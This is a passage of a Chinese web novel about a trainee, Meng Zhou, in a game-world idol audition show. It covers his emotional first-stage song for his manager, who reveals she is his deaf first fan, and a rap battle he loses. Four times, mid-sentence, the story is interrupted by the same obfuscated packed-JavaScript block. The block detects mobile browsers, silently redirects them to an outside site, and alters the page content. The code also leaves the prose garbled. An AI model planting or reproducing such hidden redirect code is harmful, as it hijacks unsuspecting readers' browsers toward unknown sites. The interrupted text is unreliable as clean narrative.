孟舟点点头，一个人走进了录制中心。 一进门的地方是练习生自评级区，每位练习生都要挑选一个等级贴纸贴在自己的姓名牌上，“A”贴纸10枚，“B”20枚，“C”30枚，“D”40枚，还有“TheOne”贴纸，仅一枚。 褚余之前跟他交代过，一定要拿“TheOne”贴纸，因为导师之一Gragon老师最欣赏有野心的练习生，拿到“TheOne”就相当于拿到了五票中的一票。 孟舟按照褚余的嘱托，乖乖把“TheOne”贴纸贴到了自己的姓名牌上。 接下来就是舞台区了。 舞台对面是导师席和练习生区，练习生区的座位阶梯式分布，孟舟进来的时候，整个演播厅一个人都没有。 他径直走到阶梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300450|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座位的最上层，坐到了最尊贵的全场C位，那是跟“TheOne”贴纸最相配的地方。 “yo，孟舟，what''sup？”赵石顶着韩式顺产头进来了，“听说你被富婆包养了？” 林然在一边露出嫌弃的表情：“够了，赵石。” 赵石讥笑道：“队长，你看那小子竟然这么嚣张，贴了‘TheOne’贴纸，还坐在C位上，真以为傍上富婆就能一步登天了。” “赵石！”林然一个没看住，赵石已经跑到孟舟旁边，他只能跟着跑上去。 “给我吧你！”赵石恶狠狠地拽着孟舟的衣服。 孟舟今天的妆造是温柔系小奶狗风，上衣是一件毛衣，被赵石一扯，毛衣都有些变形了。 孟舟有些无奈，不是吧，又来？ 他思考过很多次赵石的任务究竟是什么。赵石此人，唯爱撕扯别人的衣服，上次还让孟舟脱衬衫，这次一见面就拽他衣服。 答案显而易见。 孟舟轻轻叹口气，赵石也是不容易。 “好吧。”孟舟拍了拍赵石的手，示意他松开，随后撩起毛衣的下摆，露出六块腹肌，一脸淡定地对赵石说，“可以吗？” 赵石人都傻了。 刚跑上来站在旁边的林然也傻了。 在底下看热闹的队友也傻了。 见赵石还不说话，孟舟皱了皱眉头，又把毛衣再撩起来几分，直到露出完整的胸肌。 “毛衣领口太小了，我好不容易弄的头发，脱衣服会弄乱的。”孟舟的毛衣堆在脖子下边，“真的只能到这了。” 赵石：“……” 后边陆续有其他练习生走了进来，林然听到动静赶紧把孟舟的毛衣扯下来，回过头对赵石说：“赵石，你太过分了。” 赵石人还傻着：“我什么都没干啊！” “你不拽孟舟衣服能逼得他这样吗？”林然义愤填膺。 赵石只觉得冤枉：“我只是想要贴纸，谁知道他突然发疯了。” “给你。”孟舟撕下姓名牌上的“TheOne”贴纸递给赵石。 孟舟向来是有求必应的，助力每一个NPC完成任务是他在这个游戏世界最大的善意，毕竟没有人比他更懂完不成任务的痛。 林然严肃地瞪着赵石，赵石拿着贴纸的手停滞在半空，进退不得。 孟舟爽快地把赵石身上的“A”贴纸贴到了自己身上，走到A区坐下，觉得似乎这里更好：“这里比上边看得清楚。” 林然白了赵石一眼，走过去坐在孟舟身边：“一起坐吧。” 赵石到现在还懵着，不过拿到了“TheOne”贴纸心里多少有些得意，一个人摇头晃脑地坐到了C位上。 101位练习生都到齐了，整个阶梯都坐满了，一直叽叽喳喳地说个不停。 孟舟环视一圈，所有人都是熟悉的面孔，但又都跟之前有些不同，不知道这一次大家的命运又会如何。 林然凑过脑袋来问：“孟舟，你初舞台要表演什么？” 孟舟稍加思索，淡淡道：“Freestyle。” 林然大惊：“Freestyle？你是说你根本没准备吗？！” 5. 第一个粉丝 孟舟摆了摆手，褚余一直没告诉他初舞台要唱什么，这肯定有她的道理。或许是想让他自由发挥，就这样随心所欲，毫无准备的，不加修饰的，不走寻常路的，给节目组一点小小的震撼。 真正的营销高手！前无古人，后无来者，这样的初舞台一定能给所有人留下最深刻的印象，说不定能直冲热搜，一战成名。 林然捶胸顿足：“你就不怕节目组把你的舞台一剪没了？” 孟舟：“不会吧？不会的，天底下哪有那么狠心的人呢。” 林然简直为这小子操碎了心：“实在不行，你就唱你自己写的那首，虽然有些粗糙，但总比没有的好。” 孟舟轻轻叹了口气，“那首啊，我早就忘了怎么唱了。”其实他不是忘了，他是唱不了了。 那首歌是孟舟有了第一个粉丝时写的，当时的他对各种乐理知识一窍不通，硬是凭着一腔热情创作了人生第一首自作曲，虽然作词作曲都还不够成熟，但那曾经是孟舟最得意的作品，因为倾注了他最多的感情。 但是现在，他已经全然体会不到当时的那种感情了，毕竟已经来来回回经历了三次，他已经熟知这个游戏世界的套路。所谓粉丝不过是游戏人物的设定，而粉丝对他的关注不过是系统强加的任务罢了。 此时此刻再让孟舟唱那首歌，可能就只剩下不堪入耳的词曲了。 “下一组，Hboys，请准备。”Hboys本来是林然、孟舟和赵石三个人的说唱组合，现在只剩下林然和赵石两个人了。 赵石走过来瞪了孟舟一眼，“你这拖油瓶，退团了就别粘着林然了。”说完都没给孟舟反驳的机会，硬生生拉着林然去候场了。 “孟舟，别往心里去。”林然走之前还不忘留下一个担心的眼神。 林然和赵石表演的是改编版的《RapGod》，现场很炸，观众反应很好。 孟舟有些惭愧，第一次初舞台时，他跟他们一起表演的也是这首，但孟舟的风格跟这首歌实在太过割裂，rap实力也远远达不到林然和赵石的水准，三个人表演的效果并不好。但今天，林然和赵石两个人配合很默契，舞台完成度很高，果然他的离开对他们来说是一件好事。 但导师们可不像孟舟这么宽容。 舞蹈导师Nike率先发话：“我刚刚只看到了rap，但这里不是说唱节目，我们选拔的是唱跳爱豆，所以你们接下来在舞蹈方面还有没有要展示的？” 林然他们公司一向不重视舞蹈方面的培训，几乎每个人都是广播体操水平，初舞台的设计也是以拿手的rap为主，舞蹈动作稀碎。 林然和赵石有些尴尬地站在舞台上，林然刚举起话筒解释，却被导师打断了。 “赵石练习生？”Gragon导师点到赵石，嘴角挂着笑，似乎有些期待，“‘TheOne’是全场最优秀的那个人，是男团的Ace,既然你有信心贴上‘TheOne’，相信你的实力并不差！来展示一下吧。” 赵石摸了摸从孟舟那里抢过来的贴纸，自己选的路，只能硬着头皮跳了。 音响老师随机播放了一段音乐，赵石扭动着僵硬的身躯跳得四肢乱飞，仿佛一只濒死的蚂蚱，不堪入目。 全场都沉默了。 Nike导师白眼一翻，刚要拿起话筒开骂，旁边的rap导师范范赶忙站起来打圆场，道：“你们这一组，rap部分还是不错的，虽然个别几处节奏混乱，但总体来看水平很高。至于舞蹈，虽然勇气可嘉，但还是有很大的进步空间，之后还是多向Nike老师请教一下吧。” 经过五位导师激烈的探讨，最终林然B，赵石C。 “提醒各位练习生，要对自己有自知之明，自信可以，自信过了头，那就犯了大忌。”Nike导师转过头特意跟赵石对视一眼。 赵石攥着拳，又羞又恼，但无奈对方是导师，他没有发作的机会。 Nike导师的一番话顿时让现场的气氛紧张起来，后边的练习生们都不敢大声喘气。 孟舟也偷偷捏了一把汗，他一直觉得Nike老师是五位导师中最严厉的，之前每次被点评都像是被扒了一层皮。赵石这次因为“TheOne”贴纸撞到Nike枪口上了，不然按照前几次的评分，赵石应该能拿到B，某种程度上可以说孟舟间接害了赵石。 孟舟一脸抱歉地看着赵石从舞台上一步一步走上阶梯座位，林然又坐到孟舟旁边，拍了拍他的肩：“这不关你的事，他不会怪你的。” “老师们都休息一下吧，导演请大家吃东西！”工作人员的通报打破了尴尬，一提到吃的，现场的气氛顿时又快活起来。 工作人员和练习生们陆续涌入录制基地的休息区，各色各样的奶茶、零食、小蛋糕摆得满满当当。 孟舟前后录制过四次节目，这是第一次中途休息，也是第一次导演请客。 他之前碰见过导演齐钧，那人看起来对节目毫不感兴趣，现在竟然这么关心工作人员和选手。陌生，实在陌生。 他随着人流走到休息区，突然瞥到角落里有一个熟悉的身影。 齐钧把褚余拉到角落，压低声音：“你搞什么，小余？” 褚余假笑道：“导演，我是新来的，所以请大家吃点东西，借机熟悉一下。” “你请客我不管，但谁允许你用我的名义，随便发号施令，嗯？”齐钧的身体一步步逼近，把褚余堵在墙角。 “导演，我这不是替您博好评吗，您出去看看，现场哪个人不感谢您的。”褚余依旧假笑，“我出钱，功劳归您，何乐而不为呢？” “我差你那点功劳吗？”齐钧的手抚上褚余的脖颈，“你这是想引起我的注意吧？” 褚余被激起了一身鸡皮疙瘩，简直要无语到要笑出声来，这大叔，怎么能自恋到这个程度。 后边的孟舟有些懵，他确信这个熟悉的身影确实是她的经纪人褚余，可她怎么跟节目导演在一起？而且举止动作好像有些亲密……难道是为了混进录制基地，不惜勾搭导演走后门！ 褚余从缝隙中看到傻站在一边的孟舟，忙推开齐钧：“导演，不好意思，有正事要忙，我先撤了！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300451|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>齐钧再一次被撇下：“哎哎，我话还没说完，你又要走了？” 褚余脚步飞快，拉着一脸懵的孟舟跑到了后台。工作人员都去休息区吃东西了，这会儿后台一个人都没有。 后台的大灯没开，周围黑漆漆的，只有显示器上的灯光映在两个人的脸上。 褚余顺了口气，终于有机会说正事了，她一本正经地说道：“孟舟，我之前说过初舞台必须要真实自然，所以我一直等到现在才告诉你初舞台的表演内容。” 孟舟点点头。 褚余注视着孟舟的眼睛：“接下来我说的话都是真的，你一定要百分百投入真感情。” 孟舟又点点头。 褚余顿了顿，说：“今天，有一位你的粉丝来到了现场。” “我的粉丝？” “嗯，你的粉丝，但是她的耳朵出了问题，听不到声音。”褚余一字一句，“你能为她，唱一首歌吗？” 孟舟听到这话一下子懵了，他的粉丝……听不到声音……这说的不是小陈吗？ 恍惚间，他的记忆被拉回到了几个月前。 那时候他刚报名《Igotaboy》，节目推出了一个内部粉丝见面会企划，要求几百个练习生同时在场比拼，靠自己的能力吸引粉丝，最后由几百位被邀请的粉丝投票选出有魅力的练习生，被选择的练习生可以继续参加海选面试，零票的练习生则当场淘汰。 孟舟唱歌虽好，但在这种群体选拔的场合中，vocal比起dance和rap来说显得平平无奇。上场前，孟舟被林然塞了一把吉他，虽然他的吉他弹得并不好，但多一件装备说不定能加点分。 比拼开始，现场的粉丝果然都被那些dancer和有粉丝基础的练习生吸引去了。 孟舟在角落里一个人抱着吉他默默哼着歌，一位粉丝走到了他身边，他心中暗喜，刚想大展歌喉，对方却拍了拍他，一句话不说，在手上比划了些什么。孟舟一下子明白过来，这位粉丝，是听不见的。 “是小陈吗？”孟舟有些激动地问褚余。 褚余也懵了，她没想到孟舟竟然还记得，一时间眼睛有些涨涨的。 后台陆续有工作人员进来，大概是已经吃饱喝足，准备重新开工了。练习生们也陆续回到座位上，马上就要开始录制了。 褚余忙拉着孟舟躲到靠近舞台的一处视野盲区，“是小陈，她来了。你能像当初一样为她唱首歌吗？” “我……”孟舟低下头，眼神黯淡无光，“我没办法。” “为什么？”褚余眉头紧皱，她一直没说就是想等这一刻告诉孟舟，保证舞台上自然的真情流露，但没想到孟舟的反应与几个月前截然不同。 “既然你记得小陈，应该也记得为她唱过的那首歌吧，今天，就在这个舞台上，让所有人都听到那首歌，好吗？” 可那首歌除了孟舟本人，只有小陈和林然知道，褚余是从何得知的，孟舟的心脏止不住地狂跳，“褚余，你……” 褚余盯着孟舟的眼睛，露出一个明媚的笑：“孟舟，我就是小陈。” 6. 初舞台 孟舟愣在原地，一动不动地端详着褚余，摇了摇头说：“不可能，你不是小陈。” 孟舟记忆中的小陈是位长相普通的邻家女孩，30岁左右，可面前的褚余更加明艳，年龄估计也就20岁上下，怎么可能是同一个人呢。 “我真的是……”褚余不知该怎么向他解释，她当时是第一次接触这个游戏，用的是小陈护士的账号，总不能直接跟孟舟坦白她是游戏玩家吧。 两个人面面相觑，却都说不出话来。 “我知道了！”孟舟突然振声，恍然大悟道，“你一定是换设定了！” 褚余：？ “那就说得通了！你换了名字、换了长相，还变得能听到声音了，都是因为从粉丝小陈变成了经纪人褚余，需要一个新的人设，对吧？”孟舟自顾自地脑补中，一切都显得合理了起来。“但设定换了不就等于是新角色了吗，你为什么还有上一个角色的记忆呢？难道……” “总之！”褚余听得云里雾里，但时间不等人，“初舞台就唱那首吧！就当是为了我，为了你的粉丝。” 下一个就轮到孟舟表演了，工作人员正在满场找孟舟过去候场。 “孟舟，再唱一遍那首歌，可以吗？”褚余急得声音有些发抖。 “可我没办法再唱出当时的那种感觉了，我现在已经不一样了。”褚余不是当初的小陈，孟舟也不是当初的孟舟了。 “孟……孟舟！”场务小欧突然冲过来打断了两人的对话，他绕场找了一圈，已经跑得上气不接下气，“可算是找到你了！赶紧去候场吧，下一个就到你了！” 褚余亮了亮导演组的工作牌，递给对方一瓶水，说：“我一会儿带他过去，你先去忙别的吧。” 场务小欧巴不得少跑这一趟，接过水立马溜了。 角落里又只剩褚余和孟舟两个人，练习生的欢呼声时不时地传过来，正在表演的这个舞台应该还不错，等导师点评环节结束，孟舟就要走上这个舞台了。 褚余重新对上孟舟的目光，“孟舟，我知道我现在和之前的小陈长相不同，也能听得见了，我变得不一样了，但是我依然是你的粉丝，我喜欢你唱歌时闪闪发光的样子，不管我是小陈还是褚余，这一点是永远都不会变的。只要你对音乐依然真诚，不管你变成什么样子，你都还是我喜欢的那个孟舟。” “你还记得这个吗？”褚余伸出手掌，无名指折下，中指和食指交叉，这是手语中“Ireallyloveyou”的意思，是她学会的第一个手语动作。 她对着孟舟微微一笑，“该你上场了！” * “有请下一组表演的练习生。” 台下的练习生观众们还沉浸在上一个表演中，三三两两的脑瓜凑在一起激烈地讨论着刚刚的舞台。导师们似乎也意犹未尽，连连称赞，毫不掩饰对上一位选手的喜爱。 孟舟就在这时登场了。比起上一位的锋芒毕露，孟舟显得太过安静，安静到让人无法集中视线。 场务小欧凑到褚余身边，八卦道：“褚老师，他是不是你一手栽培的对象啊？” 褚余看着摄像机中的孟舟，点了点头。 “他看起来有点一般，估计也就拿个C等级吧。” 褚余轻笑一声，C等级？C位还差不多，“打赌吗？” 镜头前的孟舟抱着吉他。“老师们好，我是个人练习生孟舟，接下来要表演的是原创歌曲《借你》。” 孟舟站在舞台中央，调整了一下立麦。 “借你……”孟舟的声音有些哑，他清了清嗓子，“不好意思，老师们，我重新来一遍。” 五位导师刚看完上一位练习生的完美演出，心情不错，此刻也没有苛责孟舟什么。 孟舟闭上眼睛，慢慢拨动起琴弦，重新弹唱起来。 “借你眼里的光，浇灌我即将干涸的乐章。 听光在不断生长，穿过寂静无边的土壤。 借你无声的浪，托起我正在坠落的梦想。 当世界按下静音键将我遗忘，你的目光是我最后的声场。 ……” 孟舟的声音似乎有让人安静的魔力，刚刚还在骚动的众人都在孟舟的歌声中静下来了，现场的灯光好像都柔和了几分。 摄影机后方的褚余注视着镜头里的孟舟，嘴角止不住地上扬，她推荐孟舟把这首歌作为初舞台，除了考虑到导师们的喜好，其实也有一点她自己的私心，她一直期待着孟舟能够在所有人面前表演这首歌，这首让自己入坑却没有几个人听过的歌。 孟舟继续唱着，开始比划起手语动作，好像在跟镜头那边的人诉说着什么。 “借给你一曲跌宕，随琴弦慢慢唱。 指尖弹奏的悠扬，震颤出音乐的形状。 借给你来日方长，和终会抵达的远方。 就算按下静音键也不会遗忘，小船会记得你给过的翅膀。 ……” 孟舟的歌声很清澈，很温柔，很悲伤，又很幸福。 有几位练习生的眼角已经湿润，开始向场外要纸巾，导师席上的老师们也纷纷动容，全场都忘记了表演已经超时。 孟舟动情地唱完了一整首歌，随着最后一个音符结束，全场响起如雷般的掌声。 孟舟连连鞠躬，不断地说着谢谢，这是他第一次公开演唱自己的原创歌曲，现场的反应让他有点受宠若惊。 “孟舟。”声乐导师阿杰忍不住第一个开口，声音有点哽咽。 “越伟大的歌手唱歌往往不是用技巧，而是用感情，你做到了，我可以断言，你就是天生的歌手！你的天赋不应该只在这个舞台上展示，这样吧，你签我公司吧，我带你发唱片！”声乐导师阿杰向来对vocal偏爱至极。 “哎哎哎，阿杰老师，哪有你这样挖墙脚的，人家来我们节目就是为了当爱豆的，你这样让人家很难做啊。”Gragon导师把站起来递名片的阿杰摁了回去。 “千里马常有而伯乐不常有，孟舟，你让我当你的伯乐好吗？”阿杰导师锲而不舍。 “阿杰老师，你让我说一句好吗？”节目主理人白以琳导师声音颤抖，脸上还挂着没干的泪痕，手边放着一包纸巾，“孟舟，你是整场第一个让我感动的。你不仅仅是在唱歌，你是在讲故事。” 白以琳导师是最近大火的女演员，出了名的泪点低，但很讨厌表演痕迹过重的舞台，容易被真情流露所打动。褚余之前还查到，白以琳刚拍完一部关于听障人士的电视剧，孟舟的初舞台可以说是唱到她心坎里去了。 “孟舟，我觉得你这首歌很适合做我们电视剧的插曲，你愿意吗？”这是白以琳第一次亲自邀请别人为自己的电视剧唱插曲。 “各位老师，你们先别急。”舞蹈导师Nike插了句话，“他只展现了唱的一面，我们需要的是唱跳爱豆。孟舟，你有没有准备什么舞蹈，展示一下。” 孟舟放下麦克风，跳了一段Mike老师教过的编舞。 “你这个舞蹈风格有点熟悉啊，是在哪里学的？”Nike老师问道。 孟舟直言不讳：“之前跟Mike老师学过一段时间。” “怪不得，我就感觉好像看到了某人的影子。”Nike老师的脸上洋溢着幸福的笑容，“你整体还是挺不错的，虽然有些细节还不是很到位，但框架和风格都挺好，跳起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300452|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来赏心悦目，你可得好好感谢你的舞蹈老师。” 褚余早就调查过了，编舞老师Mike是Nike导师的亲哥哥，两个人关系很好，Nike据说是超级兄控，对自己的哥哥全方位无死角崇拜，只要孟舟沾点Mike的影子，Nike立马就沦陷了。 “既然唱跳都展示完了，再来段rap不过分吧。孟舟，你会rap吗？”rap导师范范有点坐不住了，平时不争不抢的他一般不会主动cue别人唱rap的，但这次一众导师都像团建一样激动，他也忍不住提点要求热闹热闹。 孟舟回想起褚余说过的话，rap导师范范表面拽拽的，但实际上很好说话，对练习生很宽容，只要表现出对rap强烈的热情，范范就愿意把人收到麾下。 “我一直很喜欢嘻哈文化，之前还在Hboys待过，学过很久的rap。”孟舟说的倒是实话，毕竟他没什么不喜欢的东西。 “没想到这位个人练习生竟然是全能，真是捡到宝了。”范范导师双眼放光，“那展示一段呗！” 孟舟向阶梯座位上的林然看去，投以询问的目光，林然自然懂他的意思，点了点头以示同意。 孟舟自信开口，唱的是林然他们表演的《RapGod》里的一段。 “你这不像是rapgod，倒像是rapangel。”Gragon导师笑道，看向一旁的范范导师，“范范老师，你觉得呢？” 刚刚还很兴奋的范范老师听完孟舟的展示有些如鲠在喉，艰难地说：“你这个……语速很快，吐字很清晰，不过……还是有很大进步空间吧，没事啊孟舟，我有信心能教好你，别灰心。” 孟舟鞠躬道谢，抬起头来看到远处的林然正对着他竖起两个大拇指，他的rap水平一直没什么长进，可能要归功于这位林然队长的溺爱式教育。 “孟舟，你给自己的评级是A，你觉得我们会给你什么等级？”Gragon导师再次发话。 孟舟稍加思索，道：“我相信每一个参加节目的练习生都想C位出道，所以我只有一个目标，那就是‘TheOne’，即使老师们给我其他等级，我也会继续朝着目标努力。” 褚余曾经交代过，面对Gragon导师，一定要把自己的野心展示出来。Gragon是国民男团出身，唱跳全能，很欣赏强烈的个人特色，最喜欢有野心又有实力的练习生。 “好！我们现在就给你一个冲击‘TheOne’的机会！”Gragon导师兴奋地站起来，“你可以在A组任意挑选一位练习生当场battle，如果赢了‘TheOne’归你，如果输了，那不好意思，C位只能拱手相让了。” 孟舟往A组练习生区域扫了一眼，之前跟褚余商量的是，如果在battle环节，有主动选择权，就优先选vocal，因为唱歌是孟舟的强项，在练习生中排不上第一也排得上第二，如果被动选了dance，之前魔鬼训练的那些也够用，只是舞蹈高手众多，胜率不敢保证。 “孟舟，你选好了吗？”Gragon导师催促道。 “我选——” “老师！我插句话。”A组区域一位练习生站起来打断了孟舟，他是在孟舟上场前表演的那位。 “你是上一个表演的周彦是吧，你说。”Gragon导师点头。 “我愿意接受挑战——”周彦抬手指向孟舟，“我想挑战你——”又将手平移过A区坐着的每一个人，“还有你们！” 全场练习生都目瞪口呆，孟舟也懵了，这种场景是第一次出现。 Gragon导师饶有兴致地笑了：“你的意思是，你想挑战整个A组？” 7. battle 周彦邪魅一笑，他缓缓起身，一步一步走下阶梯座位，从容地朝着舞台中央走去，径直略过了站在一旁的孟舟，仿佛对方在他眼中根本不值一提。 他微微仰头，高声宣告：“我，周彦，向在场的所有练习生发起挑战，‘TheOne’这个头衔我势在必得！谁不服都可以上台应战！” “好！我就喜欢你这种有傲气的练习生！”Gragon导师难以掩饰自己的兴奋，他猛地站起身来用力鼓掌，脸上满是欣赏之色，“既然是你主动挑战全场练习生，那就把选择什么进行battle的决定权交到你手里。” Gragon导师转过身，对着练习生坐席喊话：“现场所有的练习生们!不论A组还是其他组，都有机会冲击‘TheOne’，谁愿意第一个上台battle？” 练习生中一阵骚动。坐在前排的几个练习生忍不住交头接耳起来。 “哎你去不去，天大的好机会，赢了就是C位了！” “谁敢挑战周彦啊，他的舞台你们都忘了，他已经是成熟的出道艺人的水平，唱跳全能，挑战他就是自取其辱。” “而且battle项目的选择权还在他手里，万一他故意选你的弱点进行battle，可以说根本没有半分胜算。” “你们就别奢望了，像我们这种实力的也就只能当观众了，这种battle还得是A组那些大佬出马。” 孟舟此刻就站在台上，原本这是属于他的battle环节，是他冲击C位的绝佳机会。可谁能想到被这个半路杀出的周彦抢了风头，这并不在褚余之前的谋划当中。他静静地站在那里，观察着周彦的一举一动。 周彦用余光瞥了一眼旁边的孟舟，眼神中满是轻蔑，随后嘴角勾起一抹嘲讽的笑。他转向一众导师，语气中带着一丝不容置疑：“既然有人已经站在台上了，不如就让我们第一个battle？” 他的声语气不像是在征求导师们的意见，倒像是向孟舟以及所有人宣告，这场战斗已经打响了，且他胜券在握。 “很好！我们要看的就是强强对决！”这估计是Gragon导师今天最激动的时刻，“你要跟孟舟battle什么？” “就用rapbattle吧，如何？”周彦装作纯真的样子，眼中闪过一丝狡黠，嘴角微微上扬，他看似轻松随意，实则暗藏心机，他知道rap是孟舟的弱项，这一选择无疑是对孟舟的一次精准打击。 孟舟还没作答，导师席的阿杰坐不住了，他深知rap是孟舟的短板，用这个项目PK，孟舟几乎没有赢过对方的可能性。阿杰不能允许自己的千里马还没开比就已经落了下风。 Gragon导师拍了拍阿杰导师的肩膀，示意他不要激动。毕竟之前已经说过了规则，周彦确实有权做出这样的选择。Gragon清了清嗓子，看向孟舟：“好，孟舟，你接受挑战吗？” 孟舟的rap水平全场都有目共睹，坐在后方的练习生们都为他捏了一把汗。大家心里都清楚，周彦故意选rap跟孟舟battle，多少有点胜之不武的成分。但换了在座的每一位，设身处地去想，大概都会做出同样的选择。毕竟在这样激烈的竞争环境下，抓住对手的弱点，是争取胜利的一种策略。 “我接受。”孟舟淡淡道。对他来说，没什么接受不接受的，他向来是逆来顺受，既来之，则安之，系统这么安排一定有他的道理，就把接下来的PK当做一次任务好了。 显示器后边正在观赛的褚余皱紧了眉头，她紧盯着屏幕，完全不清楚这个周彦到底是什么路数，竟然主动跳出来battle全场，还故意选了孟舟的弱项精准打击。她觉得自己太失策了，之前没有把rap也加入魔鬼训练中，看来初舞台只能和C位失之交臂了。 “范范老师，别默默坐着了，来活了。”Gragon导师戳了戳rap导师范范。 范范没想到第一场battle就是他的领域，他整理了一下衣服，拿起话筒，神色变得严肃起来：“周彦，孟舟，你们接下来进行freestylebattle，节目组会随机播放一段beat，你们可以用任何形式的说唱击败对方，但要注意的是，咱们在录节目，所以尽量不要说太多脏话，尽量不要太人身攻击。OK，就说这么多，你们先自己决定表演顺序。” 周彦举了举话筒，示意自己先来。 范范老师点点头，朝场外示意：“音响老师，可以了。Let’sgetit！” 一阵强劲的音乐响起，周彦踩着鼓点，以一种极具压迫感的姿态向孟舟逼近，像一只发现猎物的饿狼。 “yoyo我不管你叫孟舟还是装作C位小偷， 你站在我的对面就注定被我KO， 你说你一开口就能包揽所有泪点， 我看只不过是观众在配合你的表演， 你那三脚猫功夫都被不合实际高估， 就算你拿出全部招数，也跟不上我的脚步， 别妄想老子遵循你精心设下的套路， 看我弯道超速，你别妄想到达我的高度！ ……” 周彦的声音极具爆发力，每一个字都像是一颗子弹，带着强大的冲击力，直冲孟舟射去。台下的练习生们已经炸开了锅。 “没想到周彦的rap也那么强，真的是全能，没有一处短板，综合实力恐怖如斯。” “完了，孟舟是输定了，看他一副人畜无害的样子就肯定赢不了。” “幸好在场上的不是我，不然一场比赛下来要ptsd了。” 周彦冷哼一声，脸上露出得意的笑容，尽情享受着台下练习生们捧场的欢呼声。他站在舞台中央，仿佛已经成为了这个世界的主宰。 接下来是孟舟的轮次了，他没有丝毫的慌乱与紧张，仿佛无视所有的攻击，随着鼓点走到舞台中央。 “我知道你叫周彦，实力万里挑一， 请收起你对我偏见，不想乱比高低， 我第一次写原创，歌词实在一般， 多亏导师同僚捧场，说他们喜欢， 我站上舞台表演，被大家记住， 感谢朋友们的欣赏，支持我的艺术， 我接受battle不是为了互相diss， 因为我一贯的风格就是loveandpeace！ ……” 孟舟rap完对着所有导师和练习生鞠了个躬，又转向周彦鞠了一躬。他的说唱没有华丽的辞藻，没有激烈的节奏，甚至可以说没有半分攻击性，却有一种独特的魅力。 “不是，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300453|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是freestylebattle吗？头一次听到这样的rap歌词，感觉整个人都被净化了。” “你懂什么是rapangel，人家孟舟是不会diss别人的，天使说唱可不是浪得虚名。” 范范导师听完深受感动，他站起身来，“好一个peaceandlove！孟舟，我很欣赏你！Respect！周彦,没想到你的rap实力和唱跳一样强，你们两个都超出了我的想象，在这场battle中都没有被对方打败。” 他话锋一转，“但是，比赛还是要评出一个输赢，我们五位导师先商议一下给出你们结果。” 镜头前的五位导师凑在一起，激烈讨论，显然每个人都持有不同的意见，这场讨论一时陷入了僵局。 孟舟静静地站在舞台上，捏着话筒眼神空洞，他觉得自己大概率是赢不了的，毕竟他跟周彦在市里上确实有差距，但也没办法，他已经尽力了，只是可惜了褚余为了他能拿到C为规划良久，到头来还是棋差一步。 “我们讨论决定，挑战的输赢还是根据battle的效果来看，不能参考battle以外的其他因素。”Gragon导师站起来向孟舟、周彦二人说道，“所以，我宣布——周彦获胜！” 周彦装作惊讶的样子鞠了一躬，说着“谢谢老师”。 孟舟对于这个结果并不意外，他轻轻鞠躬，作为败者，他需要给下一轮的挑战者让出舞台，但刚走两步却被周彦一把拉住。 周彦贴到孟舟耳边说：“挺会包装人设啊，但论实力你还差得远呢。” 孟舟一脸满不在乎，也凑到他耳边小声说道：“你说得对。” “……”周彦不可置信地白了孟舟一眼，而后扯出一个笑容，强行握住孟舟的手，举起话筒说：“你真的很强，下次我们还做对手。” 可能有人已经为这份强者间的惺惺相惜感到动容，但经常参加选秀的人都知道，这种话往往是一种宣战的标志。 跟周彦做对手就相当于手动增加任务难度，孟舟并不是那种爱找麻烦的人。他反过来回握住周彦的手，也凑到话筒跟前说：“下次别做对手了，做队友吧！” 不知情的导师们和练习生们都颇为感动，为两人在battle中结下的别样友谊鼓起掌来。 孟舟在掌声中走回座位上，屁股还没落下，就被旁边的林然一把搂过去，差点没坐稳。 林然感动地说：“你小子，刚刚太酷了！” “还可以吧。”孟舟挠了挠头，他不太会谦虚，也不太会骄傲，说还可以就证明是真的可以，但也仅仅是可以。 “我们家孟舟真的长大了。”林然颇为感慨，几乎要落下泪来，“我刚刚看你舞台都看哭了，唱的也太好了，跳舞也进步很多，rap还是那么真诚，在舞台上游刃有余，变得自信多了！我们孟舟，现在一个人也能撑起整个舞台了。” “谢谢你，林然。”孟舟朝他笑了笑，喃喃道，“不过，不是我一个人。” 